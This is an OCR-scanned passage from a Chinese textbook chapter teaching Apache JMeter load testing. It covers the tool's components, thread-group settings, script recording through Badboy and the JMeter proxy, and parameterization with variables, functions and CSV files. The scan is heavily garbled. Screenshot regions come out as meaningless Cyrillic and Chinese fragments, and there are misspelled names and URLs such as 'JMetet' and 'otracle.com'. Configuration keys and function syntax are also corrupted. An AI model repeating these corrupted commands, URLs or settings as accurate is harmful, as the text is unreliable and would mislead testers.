JMeter 的 下 载 地 址 为 http://jmeter.apache.org/， 小 白 将 最 新 版 本 下 载 到 本 地 电脑 ， 直 接 解 压 即 可 。 

由 于 JMeter 是 基于 Java 的 桌面 应 用 程序 ， 所 以 在 使 用 JMeter 之 前 必须 确保 本 机 装 有 JDKI1]， 并 配置 好 JDK 的 环境 变量 。 

装 好 JDK 1.6 以 上 版 本 后 ， 在 JMeter 的 bin 路 径 下 找到 JMeter.bat (适用 于 Windows) 向 ， 双 击 即 可 启动 JMeterBj， 启 动 后 的 界面 如 图 5-2 所 示 。 

2. 主 要 功能 模块 

JMeter 具 有 以 下 几 个 功能 模块 。 


1) 测试 计划 (Test Plan) 。 启 动 JMeter 之 后 ， 就 默认 打开 了 一 个 测试 计划 ， 测 试 计划 用 来 描述 一 个 性 能 测试 ， 包 含 与 本 次 性 能 测试 相关 的 所 有 执行 步骤 以 及 报表 。 一 个 完整 的 测试 计划 包含 一 个 或 者 
多 个 线程 组 、 逻 辑 控制 、 取 样 发 生 控制 、 监 听 器 、 定 时 器 、 断 言 和 配置 元 件 。 


2) 线程 (Threads (Users) ) 。 相 当 于 LoadRunner 中 的 虚拟 用 户 ， 每 个 JMeter 测 试 计划 的 第 一 步 就 是 添加 线程 组 。 在 线程 组 里 设置 要 模拟 的 并 发 用 户 量 、 并 发 时 间或 并 发 次 数 、 线 程 的 启动 频率 。 
JMeter 的 线程 组 分 为 以 下 3 类 。 

- setup thread group: 相当 于 Junit 的 setup， 进 行 测试 前 的 初始 化 工作 ， 也 就 是 相当 于 LoadRunnet 脚 本 中 的 init 部 分 。 

` teardown thread group: 相当 于 Junit 的 teardown， 进 行 测试 结束 后 的 垃圾 回收 等 清理 工作 ， 也 就 是 相当 于 LoadRunnet 脚 本 中 的 end 部 分 。 


: thread group (线程 组 ) : 最 常用 的 就 是 线程 组 ， 相 当 于 LoadRunnet 中 的 Action。 一 个 线程 相当 于 一 个 LoadRunnet 中 的 虚拟 用 户 ， 这 些 线程 在 脚本 运行 后 无 法 变动 ， 不 像 LoadRunnet 一 样 ， 可 以 在 执行 过 
程 中 人 为 干预 。 


3) 测试 片段 (Test Fragment) 。 测 斌 片段 元 素 是 控制 器 上 的 一 种 特殊 的 线程 组 ， 它 在 测试 树 上 与 线程 组 处 于 一 个 层级 。 它 与 线程 组 有 所 不 同 ， 因 为 它 不 被 执行 ， 除 非 它 是 一 个 模块 控制 器 或 者 被 控制 
器 所 引用 时 才 会 被 执行 。2.11 版 本 也 新 增 了 保存 测试 片段 的 功能 。 


4) 取样 器 (Sampler) 。 是 性 能 测试 中 向 服务 器 发 送 请 求 并 等 待 响应 的 最 小 单元 ， 每 个 采样 器 有 不 同 的 属性 可 以 设置 。 目 前 Jmerter 的 取样 如 下 。 
:HTTP 请 求 。 

: FTP 请 求 。 

Java 请 求 。 

- JDBC 请 求 。 
SAOP/XMI-RPC 请 求 。 
LDAP 请 求 。 

` Junit Ж 

. JMS 请 求 。 

"TCP 请 求 。 

: STMP 请 求 。 


5) 逻辑 控制 器 (Logic Controller) 。 逻 辑 控 制 器 可 以 自 定 义 JMeter 发 送 请 求 的 行为 逻辑 ， 它 与 9ampler 结 合 使 用 可 以 模拟 复杂 的 请 求 序列 。 常 用 的 逻辑 控制 器 有 if Controller, while Controller, 
Runtime Controller、 事 务 控制 器 、 随 机 控制 器 、 交 蔡 控 制 器 、 吞 吐 量 控制 器 、 模 块 控制 器 等 ， 如 图 5-1 所 示 。 


Include Controller 
Runtime Controller 
Switch Controller 
While Controller 
Epiph 
交 闭 控制 器 

俊 一 次 控制 器 
An BS 
BEH PTI (H) 15126 
录制 控制 只 

TREE БУ 

一 一 一 fusibles 

时 间 |2014/03 — 
Mig (OD || 随机 控制 器 
延迟 《 秒 ) | | 随机 顺序 控制 器 


图 5-1 JMetet 逻 辑 控制 器 
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后 于 处 理 强 ， 
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Save Node As паде с.с EREA 
Save Screen As Image ct*snite | 时 间 2014/03. 


6) 监听 器 (Listener) 。 对 JMeter 测 试 结果 进行 收集 处 理 并 进行 可 视 化 展现 的 一 系列 元 件 ， 包 括 发 送 的 请 求 数 据 、 返 回 的 结果 数据 、 响 应 时 间 的 统计 、 吞 吐 量 、 错 误 率 、 返 回 结果 状态 等 信息 。 常 见 的 
监听 器 有 图 形 结果 、 查 看 结果 树 、 用 表格 查看 结果 、 聚 合 报告 等 。 


7) 配置 元 件 (Config Element) 。 维 护 Sampler 需 要 的 配置 信息 ， 并 根据 实际 的 需要 修改 请 求 的 内 容 ， 如 HTTP、LDAP、Java 等 默认 值 ，JDBC 以 及 MongoDB 配 置信 息 等 ， 最 常用 的 是 用 CSV Data 
Set config 或 者 使 用 随机 参数 来 进行 参数 化 。 为 简单 起 见 ， 建 议 将 配置 元 件 放 在 请 求 开始 之 前 。 


8) 定时 器 (Timer) 。 相 当 于 LoadRunner 中 的 思考 时 间 。 设 置 定时 器 的 目的 : 一 方面 是 为 了 更 真实 地 模拟 用 户 并 发 行为 ; 另 一 方面 是 控制 每 个 线程 之 间 的 请 求 间隔 时 间 ， 以 减少 服务 器 压力 。 


9) 断言 (Assertions) 。 相 当 于 LoadRunner 中 的 检查 点 ， 通 过 对 比 返回 的 响应 数据 与 预期 数据 ， 用 来 判断 请 求 是 否 成 功 ， 可 以 确保 压力 测试 是 在 功能 正确 的 前 提 下 执行 的 ， 毕 竟 压 力 测试 的 前 提 是 保 
证 功能 的 正确 性 ， 这 个 限制 对 于 有 效 的 测试 是 非常 有 用 的 。 常 用 的 断言 有 响应 断言 、XML 断 言 、HTML 断 言 、XPath 上 断言 等 。 


10) 前 置 处 理 器 (Рег Processors) 。 常 用 来 修改 请 求 的 设置 。 例 如 ，HTTP URL 重 写 修复 符 可 以 实现 URL 重 写 ， 当 RUL 中 有 session1D 一 类 的 session 信 息 时 ， 可 以 通过 该 处 理 器 填充 发 出 请 求 的 实际 


sessionlD, 


11) 后 置 处 理 器 (Post Processors) 。 相 当 于 LoadRunner 中 的 关联 。 用 于 对 Sampler 发 出 请 求 后 得 到 的 服务 器 响应 数据 进行 处 理 。 一 般 用 来 提取 响应 中 的 特定 数据 ， 如 用 后 置 处 理 器 中 的 正则 表达 式 
提取 器 来 对 服务 器 返回 的 特定 数据 进行 关联 操作 。 


[1] JDK 最 好 保证 为 1.6 以 上 版 本 ，1.6 以 下 版 本 在 使 用 时 可 能 无 法 启动 JMeter，JDK 下 载 地 址 为 http://www.otracle.com/technetwork/java/javase/downloads/index.html。 
[2] JMetet 也 适用 于 Linux 系 统 ，Linux 下 用 JMetet.sh 局 动 。 


[3] 小 白 学 习 时 ，JMeter 选 择 的 语言 为 简体 中 文 ， 如 果 不 是 简体 中 文 ， 则 在 “选项 ”一 “语言 ”中 选择 简体 中 文 即 可 。 
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小 日 现在 理解 所 有 的 性 能 测试 工具 原理 是 基本 相同 的 : 最 里 层 是 发 送 相应 请 求 的 脚本 ， 然 后 外 层 的 多 线程 /进程 调用 脚本 产生 的 压力 对 服务 器 发 送 压力 ， 资 源 监控 器 对 压力 测试 过 程 中 的 请 求 处 理 时 间 进 
行 收集 整理 分 析 。 


小 白 在 前 面 学 习 LoadRunner 的 过 程 中 ， 已 经 深入 理解 了 Vuser、 参 数 化 、 关 联 、 检 查 点 、 思 考 时 间 、 场 景 设计 、 结 果 分 析 ， 所 以 在 学 习 JMeter 时 也 参考 了 LoadRunner 的 一 些 概念 来 学 习 ， 这 样 大 大 加 


快 了 理解 速度 。 


5.3.1 测试 计划 
也 可 以 说 ， 每 个 测试 场景 /脚本 都 叫 一 个 测试 计划 。 


ГС 
_— 一 一 = 一 一 一 


了 测试 的 起 点 ， 它 是 其 他 JMeter 测 试 元 件 的 容器 ， 每 个 测试 场景 /脚本 都 包含 一 个 测试 计划 ( 见 图 5-2) , 


测试 计划 是 使 用 JMeter 进 4 
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5-2 JMetet 测 试 计划 


下 面 是 JMeter 测 试 计 划 的 一 些 参数 说 明 。 
1) 名 称 : 可 以 为 测试 计划 取 一 个 有 意义 的 名 称 。 


2) 注释 : 对 测试 计划 的 注释 。 
3) 用 户 定义 的 变量 : 用 户 可 以 自 定义 变量 ， 在 用 到 此 变量 时 直接 用 ${ 变 量 名 } 引 用 即 可 。 例 如 ， 变 量 名 = ип, (8 = http://www.baidu.com， 在 需要 http://www.baidu.com 时 ， 直 接 用 $fur) 即 可 ， 这 
里 的 变量 相当 于 一 个 全 局 变量 ， 作 用 于 整个 测试 计划 。 


4) 独立 运行 每 个 线程 组 : 勾 选 以 后 ， 所 有 线程 组 都 是 顺序 执行 的 了 。 一 般 不 勾 选 ， 让 所 有 的 线程 组 并 发 启动 。 


5) Run tearDown Thread Group after shutdown of main threads: 结束 线程 运行 后 ， 停 止 主线 程 。 


6) 函数 测试 模式 : 勾 选 后 会 有 详细 的 请 求 记录 ， 消 耗资 源 ， 严 重 影响 客户 端 性 能 。 一 般 不 勾 选 


7) Add directory or jar to classpath: 向 类 路 径 ( 即 %JMeterHOME%\lib) 中 添加 目录 及 JAR 包 。 例 如 ， 在 使 用 JDBC 请 求 前 需要 加 载 的 JDBC 驱 动 包 ， 可 以 在 此 添加 ， 


JAR 包 也 可 以 在 此 处 直接 添加 引用 。 


测试 Java 请 求 时 ， 需 要 引用 的 


53.2 ”Vuser 及 场景 设计 


在 测试 计划 基础 上 新 建 一 个 线程 组 ， 线 程 组 的 属性 如 图 5-3 所 示 ，JMeter 的 场景 设计 以 及 Vuser 都 是 在 线程 组 下 设计 完成 的 。 


线程 组 里 的 “线程 数 ” 相 当 于 LoadRunner 中 的 Vuser， 线 程 数 量 就 是 实际 压 测 过 程 中 的 并 发 用 户 数 。 线 程 组 里 的 “循环 次 数 ” 以 及 “调度 器 ”相当 于 Loadrunner 中 的 场景 设计 模块 ， 它 决定 了 线程 组 


加 压 的 方式 以 及 持续 次 数 或 者 持续 时 间 。 


线程 组 
| 线程 组 

注释 : gn 
在 要 样 器 措 误 后 要 执行 的 动作 


e fis O Start Next Thread loop © LH O tmi — Stop Test Now 


HREN | -一 
ат: 200 相当 于 LoadRunner 中 的 VU 


mp-'Up Feriod (n seconds): 


паноа | яая 1 


| | Delay Thread creation until needed 
w) ҮШ а 


сел! 相当 于 loadrunner 中 的 场景 设计 
启动 时 间 2014/02/23 2308:37 


结束 时 间 2014/02/23 23:18:31 


持续 时 间 (D) 600 
启动 延迟 Cp) 0 


图 5-3 ”JMeter 线 程 组 属性 

JMeter 线 程 组 元 素 的 使 用 说 明 如 下 。 
1) 名 称 : 线程 组 的 名 称 。 
2) 注释 : 对 于 这 个 线程 组 的 解释 。 
3) 在 取样 器 错误 后 要 执行 的 动作 : 继续 、 启 动 下 个 线程 、 停 止 线程 、 停 止 测试 。 
4) 线程 属性 : 包含 以 下 几 个 选项 。 

线程 数 : 相当 于 LoadRunnet 的 并 发 用 户 数 ， 代 表 启 动 多 少 个 线程 对 应 用 进行 并 发 ， 图 5-3 中 是 对 应 用 进行 200 并 发 。 

. Ramp. Up Period (іп seconds) : 线程 间 的 时 间 间 隔 ， 图 5-3 中 代表 200 个 线程 在 1 秒 内 启动 ， 类 似 于 LoadRunner 中 Vuser 的 初始 化 设置 。 


` 循环 次 数 : 请 求 的 重复 次 数 。 如 果 选 择 后 面 的 永远 (上 默认) ， 那 么 请 求 将 一 直 继 续 ; 如 果 不 选 择 永 远 ， 而 在 输入 框 中 输入 数字 ， 那 么 请 求 将 重复 指定 的 次 数 。 例 如 输入 1， 就 表示 请 求 将 执行 一 次 。 但 
如 果 输 入 0， 请 求 就 不 会 被 执行 。 图 5-3 中 表示 200 个 线程 对 服务 器 发 送 请 求 ， 每 个 线程 请 求 1 次 ， 一 共 对 服务 器 产生 200 次 请 求 。 这 上 比 LoadRunnet 中 的 场景 设计 要 灵活 一 些 ， 可 以 直接 按照 “多 少 并 发 义 运行 次 


数 ” 来 控制 对 服务 器 发 送 多 次 请 求 。 
: Delay Thread creation until needed: 延迟 创建 线程 ， 直 到 需要 创建 时 创建 。 
5) 调度 器 : 包含 以 下 几 个 选项 。 
“ 启动 时 间 : 测试 计划 什么 时 候 启 动 ， 局 动 延 迟 会 履 盖 启动 时 间 设 置 项 。 
“ 结束 时 间 : 测试 计划 什么 时 候 结 束 ， 持 续 时 间 会 履 盖 结束 时 间 设 置 项 。 
持续 时 间 (45) : 测试 计划 持续 多 长 时 间 ， 会 覆盖 结束 时 间 。 
- 启动 延迟 (#7) : 测试 计划 延迟 多 长 时 间 局 动 ， 会 履 盖 司 动 时 间 。 


. 备注 : 调度 器 的 组 合 设 置 ， 可 以 控制 JMetet 测 试 计划 什么 时 间 执 行 、 持 续 执 行 的 时 间 。 


5.3.3 ”JMeter 之 脚本 录制 
JMeter 在 编写 HTTP 脚 本 时 也 是 用 录制 方式 进行 的 ， 目 前 JMeter 有 两 种 脚本 录制 方式 : 利用 BadBoy 录 制 和 使 用 JMeter 代 理 录制 ， 下 面 跟 小 白 一 起 学 习 吧 。 
1. 利 用 BadBoy 录 制 脚本 
在 正式 开始 讲解 之 前 ， 我 们 先 来 做 一 些 准 备 工作 。 
1) 通过 Badboy 的 官方 网 站 (http://www.badboy.com.au) 下 载 Badboy 的 最 新 版 本 。 
2) 安装 Badboy。 安 装 完成 后 ， 在 桌面 和 Windows 开 始 菜单 中 能 看 到 相应 的 快捷 方式 ， 或 者 在 直接 双击 Badboy 安 装 目录 下 的 Badboy.exe 文 件 ， 启 动 Badboy。 
3) 启动 Badboy。 可 以 看 到 如 图 5-4 所 示 的 界面 。 


准备 工作 完成 ， 开 始 正 式 录 制 脚本 。 在 地 址 栏 中 输入 需要 录制 Web 应 用 的 URL， 以 http://www.baidu.com 为 例 。 
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图 5-4 Badboy 界 面 
1) 单 击 “ 开 始 录制 ”按钮 (地 址 栏 后 的 绿色 箭头 ) 开始 录制 。 
2) 开始 录制 后 ， 可 以 直接 在 Badboy 内 嵌 的 浏览 器 ( 主 界面 的 右 人 出) 中 对 被 测 应 用 进行 操作 ， 所 有 的 操作 都 会 记录 在 主 界面 左 侧 的 编辑 窗口 中 。 
在 baidu 的 搜索 引擎 中 输入 besttest 进 行 搜索 。 录 制 下 来 的 脚本 并 不 是 一 行 行 的 代码 ， 而 是 一 个 个 Web 对 象 ， 有 点 像 LoadRunner 的 VuGen 中 的 Tree View 视 图 。 
3) 录制 完成 后 ， 单 击 工具 栏 中 的 “停止 录制 ”按钮 ， 完 成 脚本 的 录制 。 
Д) 保存 脚本 。 在 菜单 中 选择 File 一 Export to JMeter 命 令 ， 填 写 文件 名 besttest,jmx， 将 录制 好 的 脚本 导出 为 JMeter 脚 本 格式 。 也 可 以 选择 File 一 Save 命 令 ， 保 人 存 为 Badboy 脚 本 。 
5) JMeter 打 开 Badboy 录 制 的 脚本 。 启 动 JMeter， 打 开 刚 利用 Badboy 录 制 生 成 的 测试 脚本 (besttestjmx) ， 这 样 就 可 以 用 JMeter 进 行 测试 了 ， 如 图 5-5 所 示 。 
2. 利 用 JMeter 代 理 服务 器 功能 录制 


1) 右 击 左 侧 窗 格 的 “测试 计划 ” (或 者 TestPlan) ， 在 快捷 菜单 中 选择 “添加 ”一 Threads (Users) 一 “线程 组 ”， 完 成 对 线程 组 的 添加 ， 右 击 “ 线 程 组 ” ， 在 弹出 的 菜单 中 依次 选择 “ 添 
加 ”一 “逻辑 控制 器 ”一 “录制 控制 器 ”， 完 成 对 控制 器 的 添加 。 


2) 右 击 左 侧 窗 格 中 的 “工作 台 ” ， 在 快捷 菜单 中 依次 选择 “添加 ”一 “ 非 测试 元 件 ” 一 “HTTP 代 理 服 务 器 ”， 完 成 对 代理 服务 器 的 添加 ， 如 图 5-6 所 示 。 


иН Seach зке зыя M 


а “ыи х 1011+]-17 |» elo ы 


E A E isis 
НТТР Cookie Menace: 
— i A LET | RR: 
HTTP Ней Hangar qoum 
7 a | | Wenngi a 
МДЕ | ШЕМЕР: bmbadnnom апа: m 
S =e icon mS E 


implementations jaa |e] Wis т | Ak: Content ойыш | 


wi e! 


:| EBR; hid www.bardu camis 


weht | EDEN [e| Ове Квараме [C] Use mullipartformedatafór POST [ | Brcseecompatible headers 


о; | ЮРЕ | 


图 5-5 JMetet 打 开 利 用 Badboy 录 制 生 成 的 HTTP 脚 本 


XI БӘН Search ж ЖЮ GU 


аиынын шыны 


|#||>|ь|Ф о 5] Cl 


| ПП: aio | HTTPS Domai: 


| -HTTP Samper settings 


| Menon. ы cer NEHME TUTTA SEEN 


图 5-6 JMeter 使 用 代理 功能 录制 HTTP 脚 本 
下 面 简单 介绍 JMeter 的 代理 服务 器 的 功能 界面 


“ 端口 : 即 代理 服务 器 的 监听 端口 ， 默 认为 8080， 可 以 自行 修改 ， 但 要 保证 不 与 其 他 端口 冲突 。 


: 目标 控制 器 : 录制 脚本 存放 的 位 置 ， 小 白 选择 的 是 测试 计划 一 线程 组 ， 意 思 是 将 脚本 保存 在 测试 计划 的 线程 组 下 。 
分 组 : 对 请 求 进行 分 组 ， 小 白 选 择 的 是 每 个 组 放 入 一 个 新 的 控制 器 
: 记录 HTTP 信 息 头 : 自动 录制 request 的 head 信 息 ， 不 需要 额外 单独 配置 。 


` 添加 断言 : 录制 时 自动 加 入 空 的 检查 点 ， 录 制 完成 后 需要 手动 添加 检查 内 容 。 


: Regex matching: 录制 时 加 入 空 的 正则 匹配 进行 关联 ， 录 制 完成 后 需要 手动 添加 正则 表达 式 ， 等 于 是 告诉 我 们 哪里 需要 关联 。 


· Туре: 选择 服务 对 于 的 HTTP Client 的 版 本 。 


BJERE: 选中 该 选项 ， 当 发 送 HTTP 请 求 后 得 到 的 响应 是 302/301 时 ，JMeter 自 动 重 定向 到 新 的 页 面 ， 比 如 HTITPS 请 求 跳 转 ， 该 选项 适用 于 当 方 法 为 HEAD 或 者 GET 时 。 自 动 重 定向 跳 转 时 使 用 的 
是 相对 路 径 ， 一 般 用 于 用 户 注销 登录 时 返回 主页 面 或 者 跳 转 到 其 他 网 站 的 情况 ; 还 有 一 种 是 跟随 重 定 向 ， 跟 随 重 定向 使 用 相对 路 径 ， 一 般 用 于 用 户 登 录 时 ， 根 据 角色 转发 响应 的 模块 


: Use KeepAlive: 选中 该 选项 时 ，JMeterf 和 目标 服务 器 之 间 使 用 Keep-Alive 方 式 进 行 HITP 通 信 ， 也 就 是 在 一 个 请 求 超时 以 前 ，JMetet 不 会 向 服务 器 建立 一 个 新 的 请 求 链接 ， 默 认 选 中 该 选项 。 
|: 从 HITML 文 件 获 取 所 有 包含 的 资源 : 当 该 选项 被 选中 时 ，JMeter 在 发 出 HITP 请 求 并 获得 返回 的 HIML 文 件 内 容 后 ， 会 获取 HTML 中 包含 的 所 有 资源 〈 图 片 、Flash 等 ) ， 默 认 不 选中 。 

* 包含 模式 : 与 排除 模式 一 样 ， 用 来 控制 排除 一 些 没 必要 的 录制 元 素 。 

.排除 模式 : 录制 时 候 许多 JS、CSS、PNG、GIE 的 路 径 都 录制 了 进来 ， 而 这 些 对 于 测试 脚本 是 没有 用 处 的 ， 我 们 可 以 在 HTTP 代理 服务 器 的 排除 模式 设置 ， 脚 本 不 记录 这 些 内 容 。 

3) 在 “工作 台 ” 中 添加 定时 器 。 右 击 “ 工 作 台 ”下 的 “HTTP 代 理 服务 器 ”， 在 弹出 的 快捷 菜单 中 依次 选择 “添加 ”一 “定时 器 ”一 “高 斯 随机 定时 器 ”， 完 成 对 定时 器 的 添加 。 


这 样 设置 的 目的 是 ， 告 知 JMeter 在 其 生成 的 HTTP 请 求 中 自动 增加 一 个 定时 器 。 定 时 器 将 会 使 相应 的 取样 器 延迟 。 延 时 的 规则 是 : 在 上 一 个 访问 请 求 被 响应 并 延 时 了 指定 的 时 间 后 ， 下 一 个 被 定时 器 影 
响 的 取样 访问 请 求 才 会 被 发 送出 去 。 如 果 在 代理 服务 器 元 件 里 使 用 了 高 斯 随机 定时 器 ， 就 应 该 在 其 中 的 固定 延迟 偏 移 (Constant Delay Offset) 设置 项 里 添上 ${T} (用 于 自动 引用 记录 的 延迟 时 间 ) 。 


Д) 设置。 代理 服务 器 配置 好 以 后 ， 单 击 启动 按钮 ， 代 理 服务 器 开始 记录 所 接受 的 HTTP 访 问 请 求 。 打 开 浏 览 器 ， 依 次 选择 “Internet 选 项 ”一 “连接 ”， 将 局 域 网 (LAN) 设置 中 的 代理 服务 器 设 为 
localhost， 端 口 为 在 代理 服务 器 中 设 的 端口 8080。 注 意 ， 录 制 完 成 后 ， 一 定 要 恢复 浏览 器 的 代理 服务 器 设置 ， 否 则 影响 正常 上 网 。 
5) 开始 录制 。 打 开 一 个 1E 窗 口 ， 输 入 测试 的 网 址 (如 www.besttest.cn) ， 按 回 车 键 ， 测 试 计 划 中 将 录制 HTTP 的 请 求 。 在 测试 网 页 上 进行 操作 ， 测 试 计划 中 继续 录制 HTTP 请 求 。 如 果 是 有 session 判 断 


登录 的 应 用 ， 还 需要 增加 cookie manager 配 置 元 素 ， 选 中 “线程 组 ”， 右 击 后 依次 选择 “添加 ”一 “配置 元 素 ” 一 “HTTP Cookie 管 理 器 ”命令 。 


Qs 1) IE 中 局 域 网 的 端口 号 和 JMetet 中 的 Proxy Setvet 的 端口 号 要 一 致 ， 否 则 会 出 问题 。2) 尽量 避免 与 其 他 服务 的 端口 冲突 ，8080 端 口 比较 常用 。 例 如 ， 本 机 如 果 提 供 了 一 个 用 tomcat 启 动 的 Web 
服务 ， 就 可 会 导致 端口 冲突 ， 从 而 无 法 录制 ， 因 为 Tomcat 默 认 端 口 是 8080， 所 以 尽量 换 一 些 不 常见 的 端口 来 使 用 。3) 如 果 在 进行 代理 录制 时 无 法 录制 ， 则 可 以 党 试 在 user.properties 文 件 中 配置 


Pproxy.cett.alias 二 anything 的 解决 方法 。 


6) 录制 完成 后 ， 停 止 HTTP 代 理 服务 器 ; 在 录制 控制 器 元 件 上 单 击 鼠标 右键 ， 将 记录 的 元 件 保存 为 一 个 文件 ， 用 于 以 后 重用 ， 最 终 录 制 生 成 的 脚本 如 图 5-7 所 示 。 
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3. 两 种 录制 方式 的 区 别 


1) 利用 Badboy 录 制 比较 简单 ， 不 需要 利用 代理 ， 录 制 也 与 LoadRunner 类 似 ， 录 制 脚本 的 层次 更 清晰 。 小 白 经 过 实践 认为 使 用 Badboy 进 行 HTTP 脚 本 录制 更 加 方便 和 直观 。 
2) JMeter 代 理 录制 较为 复杂 ， 但 是 能 录制 到 URL 相 关 的 静态 文件 (CSS、JPG 等 ) 以 及 dwr 请 求 ， 但 是 Badboy 不 能 。 


3) 简单 的 HTTP 直 接 用 Badboy 录 制 ， 不 需要 用 JMeter 录 制 后 去 掉 无 用 的 CSS 等 信息 ， 但 是 比较 复杂 的 应 用 ， 如 dwr 请 求 的 ， 还 是 需要 用 JMeter 代 理 录制 |。 


5.3.4 ” JMeter 参数 化 


JMeter 也 与 LoadRunner 一 样 ， 有 所 谓 的 参数 化 ， 在 这 里 小 白 学 习 了 JMeter 常 见 的 3 种 参数 化 方法 。 

1. 使 用 用 户 自 定 义 变量 

1) 在 Test Plan 中 单 击 “用 户 定 义 的 变量 ”下 的 “添加 ”按钮 ， 开 始 添加 自 定义 变量 。 

2) 在 “名 称 ” 中 定义 变量 的 名 称 ， 小 白 这 里 定义 的 变量 名 称 是 key; 在 “ 值 ”中 定义 变量 对 应 的 值 ， 这 里 key 变 量 对 应 的 值 是 “ 安 大 叔 ” 
完成 自 定义 变量 的 添加 后 ， 到 需要 进行 参数 化 的 位 置 进行 参数 化 ， 比 如 之 前 用 Badboy 录 制 的 百度 搜索 关键 字 是 besttest， 如 图 5-8 所 示 。 


找到 需要 进行 参数 化 的 地 方 后 ， 将 值 中 的 内 容 用 ${key} 蔡 换 (JMeter 中 的 变量 都 是 用 $10 蔡 换 ) ， 这 里 的 key 就 是 小 白 刚 才 在 用 户 自 定义 变量 里 设 定 的 变量 名 ， 蔡 换 参 数 化 后 ， 说 明 在 发 送 请 求 时 ， 利 用 
百度 搜索 的 关键 字 就 不 是 小 白 之 前 用 Badboy 录 制 时 的 besttest 了 ， 而 是 参数 化 变量 对 应 的 值 “ 安 大 叔 ” 


Ж ЩЙ Seach 运行 选项 EN I 


- s[a| "ala x[c]B[*|-]V] »|v e o 5 % % [ala lele. 
| - ш се Gro | iB 

= HTTP Cockie Manager 1 = |nitp-ihwww.bai u.c om/s 

— Ж User Defined Variables : 


— dli HTTP Header Manager 


+ xen 1 : | ` r WF - ss Timeouts (milliseconds) 
Ë ^ BE (www Байы соті. | OS: (EU | [e | | Response: | | 


一 шен 


- тте 


mu? (ыд? 
| | i£ = 


Proxy Server - 


| measure [авв |. Re | | 


图 5-8 ”需要 参数 化 的 地 方 
2. 使 用 函数 助手 里 的 随机 函数 进行 参数 化 
JMeter 中 有 一 个 函数 助手 的 功能 ， 里 面 内 置 了 多 个 函数 ， 可 以 利用 其 中 的 _Random 函 数 、_threadNum 函 数 或 者 CSV 相 关 函 数 来 进行 参数 化 设置 。 
(1) з 


1) 在 JMeter 中 选择 “选项 ”一 “函数 助手 对 话 框 ”， 打 开 “ 函 数 助 手 ”对 话 框 ， 如 图 5-9 所 示 。 


图 5-9 JJMetetr 函 数 助 手 对 话 框 


2) 选择 一 个 函数 ， 如 _Random， 如 图 5-9 所 示 。 

@ 设 定 最 小 值 为 1。 

@ 设 定 最 大 值 为 100。 

@ 函 数 名称 设 为 key。 

@ 单 击 “ 生 成 ”按钮 将 生成 一 个 引用 字符 串 ${_Random (1, 100, Куе) }， 在 需要 进行 参数 化 的 地 方 替 换 生 成 的 随机 消 数 即 可 。 
(2) A = 


1) 与 方法 一 类 似 ， 打 开 “ 函 数 助手 ”对 话 框 ， 选 择 函 数 助 手 的 CSVRead 函 数 ， 参 见 图 5-10 的 第 一 步 。 


2) 在 本 地 生成 一 个 参数 化 文件 ， 这 里 小 白 在 D 盘 下 生成 了 一 个 “andashu.txt” 文 件 ，JMeter 的 参数 化 文件 与 LoadRunner 的 参数 化 文件 有 一 


个 显著 的 区 别 就 是 ，JMeter 参 数 化 文件 里 没有 文件 列 名 , 
如 小 白 这 里 用 的 参数 化 文件 “andashu.txt” 中 的 内 容 如 下 。 


Besttest Р 
安 大 叔 性 能 测试 博客 
d К резібезі 


这 个 参数 化 文件 中 的 第 一 行 “Besttest” 就 是 参数 化 的 取 值 了 ， 而 不 像 LoadRunner 第 一 行 是 参数 化 文件 的 列 名 。 


3) 文件 生成 后 ， 在 如 图 5-10 所 示 的 第 二 步 中 输入 参数 化 文件 的 路 径 ， 如 D'Nandashu.txt。 


图 5-10 ”函数 助手 之 _CSVRead 


Qua CSV 文 件 列 号 默认 为 1， 实 际 函 数 在 取 值 时 应 该 为 0 对 应 的 第 一 列 。 多 个 参数 同时 取 值 时 ， 如 (username, password) ， 参 数 文 档 中 用 去 号 分 隔 ， 每 一 个 参数 取 参 数 化 文件 中 对 应 的 列 。 这 里 函数 


助手 最 终生 成 的 函数 为 ${_CSVRead (D: Vandashu.txt, 0) }， 后 面 需要 进行 参数 化 地 方 的 数据 用 ${f__CSVRead (D:\andashu.txt, 0) } 替 换 即 可 。 


3. 使 用 配置 元 件 中 的 CSV Data Set Config 进 行 参数 化 设置 


在 线程 组 上 单 击 鼠 标 右键 ， 选 择 添 加 一 配置 元 件 一 CSV Data Set Config， 打 开 CSV Data Set Config 设 置 界面 ， 如 图 5-11 所 示 。 
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图 5-11 CSV Data Set Config 参 数 化 设置 
在 该 界面 中 可 以 设置 以 下 参数 。 


1) Filename: 文件 名 ， 指 参数 化 的 文件 目录 ， 可 以 是 相对 路 径 或 者 绝对 路 径 。 这 里 是 绝对 路 径 d:\andashu.txt。 如 果 使 用 相对 路 径 (如 andashu.txt) 


， 则 需要 将 参数 化 的 文件 放 在 当前 测试 计划 所 在 
的 路 径 下 。 


2) File encoding: 文件 编码 ， 可 以 不 填 ， 默 认 的 编码 方式 是 ANSI， 如 果 文 件 是 用 其 他 编码 方式 保存 的 ， 就 需要 使 用 文本 文件 对 应 的 编码 方式 ， 如 GBK 或 者 UTF-8。 


3) Variable Names (comma-delimited) : 参数 名 称 ， 这 里 是 key， 如 果 有 多 个 参数 ， 就 写 多 个 参数 的 名 称 ， 每 个 名 称 中 间 用 分 隔 符 分 隔 ， 分 隔 符 在 下 面 的 eDelimiter 中 定义 ， 如 key1,，key2。 


4) Delimiter (use ^\t”for tab) : 参数 文件 中 多 个 变量 值 列 用 什么 分 隔 ，Nt 表 示 用 tab 键 分 隔 ， 默 认 是 用 喜 号 分 隔 。 


5) Allow quoted data: 是 否 允 许 引 用 数据 ， 默 认为 False， 表 示人 在 引用 参数 化 文件 中 的 值 时 ， 文 件 中 是 什么 值 ， 就 传递 什么 值 到 参数 中 。 例 如 ， 参 数 化 文件 有 一 个 值 是 


' 安 大 瓜 ”， 如 果 为 False， 引 
用 时 用 的 是 “ 安 大 叔 ”; 如 果 为 True， 则 引用 到 的 值 就 是 安 大 叔 ， 也 就 是 当 为 True 时 ， 会 把 参数 化 文件 中 双 引 号 里 的 内 容 当 作 响 应 的 参数 化 取 值 。 


6) Recycle on EOF: 结束 后 是 否 循环 ?选择 True 或 者 False， 默 认 是 True。CSV Data Set Config 是 一 次 读 入 一 行 数据 ， 数 据 分 隔 后 存 入 变量 中 交 给 一 个 线程 ， 当 设置 的 线程 数 超过 参数 化 文件 里 的 参 
数 化 数量 时 ， 可 以 选择 数据 不 够 用 后 ， 是 否 从 头 循 环 开 始 重 新 读 入 数据 ， 为 True 表示 循环 读 入 数据 ， 为 False 则 表示 不 循环 读 入 数据 。 


7) Stop thread on EOF: 到 了 参数 化 文件 尾 处 ， 是 否 停止 线程 ， 选 择 True 或 者 False。 

